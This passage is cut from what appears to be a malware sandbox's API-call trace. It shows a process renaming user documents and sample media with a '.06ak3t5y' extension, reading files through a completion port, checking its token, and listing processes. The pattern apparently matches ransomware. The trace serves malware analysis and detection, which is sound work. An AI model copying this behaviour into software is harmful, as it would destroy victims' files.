lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\Ljl6.ods.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\ljl6.ods.06ak3t5y")) returned 1 [0111.735] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0111.735] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069840) returned 1 [0111.735] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x397a3a0) returned 1 [0111.735] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.735] CloseHandle (hObject=0x35c) returned 1 [0111.736] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe6) returned 0x20ab750 [0111.736] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\N6MTn7qEK2nADv.odt" (normalized: "c:\\users\\keecfmwgj\\documents\\n6mtn7qek2nadv.odt"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Documents\\N6MTn7qEK2nADv.odt.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\documents\\n6mtn7qek2nadv.odt.06ak3t5y")) returned 1 [0111.737] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0111.737] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20685f0) returned 1 [0111.737] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x45966f8) returned 1 [0111.737] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.737] ReadFile (in: hFile=0x338, lpBuffer=0x397eb00, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e9b0 | out: lpBuffer=0x397eb00*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397e9b0) returned 1 [0111.738] RtlGetLastWin32Error () returned 0x3e5 [0111.738] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.738] ReadFile (in: hFile=0x334, lpBuffer=0x397ece0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x397eb90 | out: lpBuffer=0x397ece0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397eb90) returned 1 [0111.739] RtlGetLastWin32Error () returned 0x3e5 [0111.739] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.739] ReadFile (in: hFile=0x330, lpBuffer=0x397eec0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x397ed70 | out: lpBuffer=0x397eec0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397ed70) returned 1 [0111.741] RtlGetLastWin32Error () returned 0x3e5 [0111.741] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.741] ReadFile (in: hFile=0x33c, lpBuffer=0x397f0a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x397ef50 | out: lpBuffer=0x397f0a0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397ef50) returned 1 [0111.742] RtlGetLastWin32Error () returned 0x3e5 [0111.742] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.742] ReadFile (in: hFile=0x344, lpBuffer=0x397f280, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x397f130 | out: lpBuffer=0x397f280*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397f130) returned 1 [0111.743] RtlGetLastWin32Error () returned 0x3e5 [0111.743] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.743] ReadFile (in: hFile=0x348, lpBuffer=0x397f460, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x0, lpOverlapped=0x397f310 | out: lpBuffer=0x397f460*, lpNumberOfBytesRead=0x0, lpOverlapped=0x397f310) returned 1 [0111.744] RtlGetLastWin32Error () returned 0x3e5 [0111.744] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.744] ReadFile (in: hFile=0x32c, lpBuffer=0x3925680, nNumberOfBytesToRead=0x18f84, lpNumberOfBytesRead=0x0, lpOverlapped=0x3925530 | out: lpBuffer=0x3925680*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3925530) returned 1 [0111.746] RtlGetLastWin32Error () returned 0x3e5 [0111.746] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.746] ReadFile (in: hFile=0x328, lpBuffer=0x393e760, nNumberOfBytesToRead=0x11878, lpNumberOfBytesRead=0x0, lpOverlapped=0x393e610 | out: lpBuffer=0x393e760*, lpNumberOfBytesRead=0x0, lpOverlapped=0x393e610) returned 1 [0111.748] RtlGetLastWin32Error () returned 0x3e5 [0111.748] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.748] ReadFile (in: hFile=0x318, lpBuffer=0x3950130, nNumberOfBytesToRead=0x142de, lpNumberOfBytesRead=0x0, lpOverlapped=0x394ffe0 | out: lpBuffer=0x3950130*, lpNumberOfBytesRead=0x0, lpOverlapped=0x394ffe0) returned 1 [0111.750] RtlGetLastWin32Error () returned 0x3e5 [0111.750] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.750] ReadFile (in: hFile=0x314, lpBuffer=0x3964568, nNumberOfBytesToRead=0x13b2e, lpNumberOfBytesRead=0x0, lpOverlapped=0x3964418 | out: lpBuffer=0x3964568*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3964418) returned 1 [0111.751] RtlGetLastWin32Error () returned 0x3e5 [0111.751] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.751] ReadFile (in: hFile=0x310, lpBuffer=0x4797690, nNumberOfBytesToRead=0x16c2, lpNumberOfBytesRead=0x0, lpOverlapped=0x4797540 | out: lpBuffer=0x4797690*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4797540) returned 1 [0111.753] RtlGetLastWin32Error () returned 0x3e5 [0111.753] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.753] ReadFile (in: hFile=0x30c, lpBuffer=0x44a0198, nNumberOfBytesToRead=0x15df4, lpNumberOfBytesRead=0x0, lpOverlapped=0x44a0048 | out: lpBuffer=0x44a0198*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44a0048) returned 1 [0111.754] RtlGetLastWin32Error () returned 0x3e5 [0111.754] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.754] ReadFile (in: hFile=0x308, lpBuffer=0x38806e0, nNumberOfBytesToRead=0xb3b8, lpNumberOfBytesRead=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38806e0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x3880590) returned 1 [0111.756] RtlGetLastWin32Error () returned 0x3e5 [0111.756] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.756] ReadFile (in: hFile=0x304, lpBuffer=0x44b60e8, nNumberOfBytesToRead=0x13c5c, lpNumberOfBytesRead=0x0, lpOverlapped=0x44b5f98 | out: lpBuffer=0x44b60e8*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44b5f98) returned 1 [0111.757] RtlGetLastWin32Error () returned 0x3e5 [0111.757] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.758] ReadFile (in: hFile=0x300, lpBuffer=0x44c9ea0, nNumberOfBytesToRead=0x12d06, lpNumberOfBytesRead=0x0, lpOverlapped=0x44c9d50 | out: lpBuffer=0x44c9ea0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44c9d50) returned 1 [0111.759] RtlGetLastWin32Error () returned 0x3e5 [0111.759] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.759] ReadFile (in: hFile=0x2fc, lpBuffer=0x44dcd00, nNumberOfBytesToRead=0x11706, lpNumberOfBytesRead=0x0, lpOverlapped=0x44dcbb0 | out: lpBuffer=0x44dcd00*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44dcbb0) returned 1 [0111.761] RtlGetLastWin32Error () returned 0x3e5 [0111.761] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.761] ReadFile (in: hFile=0x2f4, lpBuffer=0x44ee560, nNumberOfBytesToRead=0x9da, lpNumberOfBytesRead=0x0, lpOverlapped=0x44ee410 | out: lpBuffer=0x44ee560*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44ee410) returned 1 [0111.762] RtlGetLastWin32Error () returned 0x3e5 [0111.762] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.762] ReadFile (in: hFile=0x2f8, lpBuffer=0x44ef098, nNumberOfBytesToRead=0xa781, lpNumberOfBytesRead=0x0, lpOverlapped=0x44eef48 | out: lpBuffer=0x44ef098*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44eef48) returned 1 [0111.763] RtlGetLastWin32Error () returned 0x3e5 [0111.763] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.763] ReadFile (in: hFile=0x2a4, lpBuffer=0x44f9978, nNumberOfBytesToRead=0x11082, lpNumberOfBytesRead=0x0, lpOverlapped=0x44f9828 | out: lpBuffer=0x44f9978*, lpNumberOfBytesRead=0x0, lpOverlapped=0x44f9828) returned 1 [0111.765] RtlGetLastWin32Error () returned 0x3e5 [0111.765] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.765] ReadFile (in: hFile=0x41c, lpBuffer=0x450ab58, nNumberOfBytesToRead=0x994c, lpNumberOfBytesRead=0x0, lpOverlapped=0x450aa08 | out: lpBuffer=0x450ab58*, lpNumberOfBytesRead=0x0, lpOverlapped=0x450aa08) returned 1 [0111.766] RtlGetLastWin32Error () returned 0x3e5 [0111.767] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.767] ReadFile (in: hFile=0x420, lpBuffer=0x4514600, nNumberOfBytesToRead=0xd7bd, lpNumberOfBytesRead=0x0, lpOverlapped=0x45144b0 | out: lpBuffer=0x4514600*, lpNumberOfBytesRead=0x0, lpOverlapped=0x45144b0) returned 1 [0111.768] RtlGetLastWin32Error () returned 0x3e5 [0111.768] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.768] ReadFile (in: hFile=0x424, lpBuffer=0x4798eb0, nNumberOfBytesToRead=0x62cd, lpNumberOfBytesRead=0x0, lpOverlapped=0x4798d60 | out: lpBuffer=0x4798eb0*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4798d60) returned 1 [0111.769] RtlGetLastWin32Error () returned 0x3e5 [0111.769] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.770] ReadFile (in: hFile=0x428, lpBuffer=0x4521f18, nNumberOfBytesToRead=0xbae3, lpNumberOfBytesRead=0x0, lpOverlapped=0x4521dc8 | out: lpBuffer=0x4521f18*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4521dc8) returned 1 [0111.771] RtlGetLastWin32Error () returned 0x3e5 [0111.771] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.771] ReadFile (in: hFile=0x42c, lpBuffer=0x47a0170, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x0, lpOverlapped=0x47a0020 | out: lpBuffer=0x47a0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x47a0020) returned 1 [0111.793] RtlGetLastWin32Error () returned 0x3e5 [0111.793] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.811] ReadFile (in: hFile=0x434, lpBuffer=0x49c0170, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x0, lpOverlapped=0x49c0020 | out: lpBuffer=0x49c0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x49c0020) returned 1 [0111.862] RtlGetLastWin32Error () returned 0x3e5 [0111.862] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.862] ReadFile (in: hFile=0x438, lpBuffer=0x4ad0170, nNumberOfBytesToRead=0xd6b22, lpNumberOfBytesRead=0x0, lpOverlapped=0x4ad0020 | out: lpBuffer=0x4ad0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4ad0020) returned 1 [0111.906] RtlGetLastWin32Error () returned 0x3e5 [0111.906] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.923] ReadFile (in: hFile=0x440, lpBuffer=0x4c80170, nNumberOfBytesToRead=0x91554, lpNumberOfBytesRead=0x0, lpOverlapped=0x4c80020 | out: lpBuffer=0x4c80170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4c80020) returned 1 [0111.969] RtlGetLastWin32Error () returned 0x3e5 [0111.969] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.982] ReadFile (in: hFile=0x44c, lpBuffer=0x4ea0170, nNumberOfBytesToRead=0x8907c, lpNumberOfBytesRead=0x0, lpOverlapped=0x4ea0020 | out: lpBuffer=0x4ea0170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4ea0020) returned 1 [0111.999] RtlGetLastWin32Error () returned 0x3e5 [0111.999] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0111.999] ReadFile (in: hFile=0x450, lpBuffer=0x4f30170, nNumberOfBytesToRead=0xbde6b, lpNumberOfBytesRead=0x0, lpOverlapped=0x4f30020 | out: lpBuffer=0x4f30170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x4f30020) returned 1 [0112.030] RtlGetLastWin32Error () returned 0x3e5 [0112.030] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0112.030] ReadFile (in: hFile=0x458, lpBuffer=0x5090170, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x0, lpOverlapped=0x5090020 | out: lpBuffer=0x5090170*, lpNumberOfBytesRead=0x0, lpOverlapped=0x5090020) returned 1 [0112.060] RtlGetLastWin32Error () returned 0x3e5 [0112.060] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0112.077] ReadFile (in: hFile=0x460, lpBuffer=0x452db58, nNumberOfBytesToRead=0x34e1, lpNumberOfBytesRead=0x0, lpOverlapped=0x452da08 | out: lpBuffer=0x452db58*, lpNumberOfBytesRead=0x0, lpOverlapped=0x452da08) returned 1 [0112.080] RtlGetLastWin32Error () returned 0x3e5 [0112.080] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0114.544] CloseHandle (hObject=0x45c) returned 1 [0115.270] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0115.270] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.06ak3t5y" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.06ak3t5y")) returned 1 [0115.271] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0115.271] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee1e8) returned 1 [0115.271] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x51a0020) returned 1 [0115.286] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0115.286] CloseHandle (hObject=0x434) returned 1 [0115.413] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xea) returned 0x207d648 [0115.414] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), lpNewFileName="\\\\?\\C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.06ak3t5y" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.06ak3t5y")) returned 1 [0115.415] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207d648) returned 1 [0115.415] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee620) returned 1 [0115.415] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x49c0020) returned 1 [0115.420] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x411ff80, lpCompletionKey=0x411ff7c, lpOverlapped=0x411ff84) returned 1 [0128.305] GetCurrentProcess () returned 0xffffffff [0128.305] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x411ff64 | out: TokenHandle=0x411ff64*=0x0) returned 0 Thread: id = 28 os_tid = 0xf84 [0110.385] GetCurrentProcess () returned 0xffffffff [0110.385] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x425ff3c | out: TokenHandle=0x425ff3c*=0x238) returned 1 [0110.385] GetTokenInformation (in: TokenHandle=0x238, TokenInformationClass=0x19, TokenInformation=0x425feec, TokenInformationLength=0x4c, ReturnLength=0x425ff38 | out: TokenInformation=0x425feec, ReturnLength=0x425ff38) returned 1 [0110.385] IsValidSid (pSid=0x425fef4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0110.385] CloseHandle (hObject=0x238) returned 1 [0110.385] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x238 [0110.389] Process32FirstW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.390] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.391] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.391] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.392] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.393] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.393] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.394] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.395] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.395] Process32NextW (in: hSnapshot=0x238, lppe=0x425fcf8 | out: lppe=0x425fcf8*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, 